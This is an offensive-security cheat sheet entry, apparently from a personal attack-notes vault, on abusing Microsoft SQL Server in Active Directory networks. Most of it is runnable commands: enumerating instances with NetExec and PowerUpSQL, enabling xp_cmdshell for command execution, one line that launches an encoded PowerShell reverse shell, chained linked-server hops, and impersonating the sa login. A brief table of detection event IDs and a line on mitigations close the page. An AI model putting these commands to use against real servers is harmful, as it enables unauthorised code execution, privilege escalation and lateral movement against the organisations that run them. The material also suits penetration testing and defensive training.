title: "Attack #76 β MSSQL Server and Linked Server Abuse" description: "MSSQL servers in AD environments can be exploited for privilege escalation and lateral movement. Key techniques include: xp_cmdshell for RCE, linkedβ¦" category: active-directory subcategory: "Advanced & Post-Exploitation" tags: ["active-directory", "adcs", "privilege-escalation", "lateral-movement", "sql-injection"] tools: ["NetExec", "Impacket", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Ten/π· Attack #76 β MSSQL Server and Linked Server Abuse.md"#
π· Attack #76 β MSSQL Server & Linked Server Abuse#
π How It Works#
MSSQL servers in AD environments can be exploited for privilege escalation and lateral movement. Key techniques include: xp_cmdshell for RCE, linked servers for cross-server lateral movement (hopping through database links to reach otherwise unreachable servers), and impersonation to escalate from a low-privileged DB user to sa.
βοΈ Prerequisites#
| Requirement | Detail |
|---|---|
| MSSQL access | Domain user may have default access to MSSQL instances |
| xp_cmdshell or impersonation rights | For execution and escalation |
π» Full Commands#
π΅ Enumerate MSSQL Instances#
# ββ NetExec βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
nxc mssql 10.10.10.0/24 -u low_user -p 'Password1'
# ββ PowerUpSQL ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded
π΄ xp_cmdshell β RCE#
# ββ Impacket mssqlclient.py βββββββββββββββββββββββββββββββββββββββββββββββββββ
mssqlclient.py corp.local/low_user:'Password1'@SQL01.corp.local -windows-auth
# Inside MSSQL:
# enable_xp_cmdshell
# xp_cmdshell whoami
# xp_cmdshell powershell -e <base64_reverse_shell>
# ββ PowerUpSQL ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Invoke-SQLOSCmd -Instance SQL01.corp.local -Command "whoami"
π΄ Linked Server Hopping#
-- ββ Find linked servers ββββββββββββββββββββββββββββββββββββββββββββββββββββββ
SELECT * FROM master..sysservers;
EXEC sp_linkedservers;
-- ββ Execute on linked server ββββββββββββββββββββββββββββββββββββββββββββββββββ
EXEC ('xp_cmdshell ''whoami''') AT [SQL02.corp.local];
-- ββ Double hop (chain through linked servers) βββββββββββββββββββββββββββββββββ
EXEC ('EXEC (''xp_cmdshell ''''whoami'''''') AT [SQL03.corp.local]') AT [SQL02.corp.local];
π΄ Impersonation#
-- ββ Check who you can impersonate βββββββββββββββββββββββββββββββββββββββββββββ
SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE';
-- ββ Impersonate sa ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
EXECUTE AS LOGIN = 'sa';
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
π‘οΈ Detection β Event IDs#
| Event ID | Source | What to Look For |
|---|---|---|
| 15457 | SQL Server | xp_cmdshell enabled |
| 18456 | SQL Server | Failed login attempts |
| 4688 | Security Log | sqlservr.exe spawning cmd.exe/powershell |
π Attack Chain Context#
[MSSQL Abuse] βββ RCE via xp_cmdshell / lateral move via linked servers
β
ββββ π» xp_cmdshell β SYSTEM/service account on DB server
ββββ π Linked servers β hop to unreachable network segments
ββββ π Defeated by: disable xp_cmdshell, audit linked servers, least privilege
β Attack #76 β MSSQL/Linked Server Abuse complete.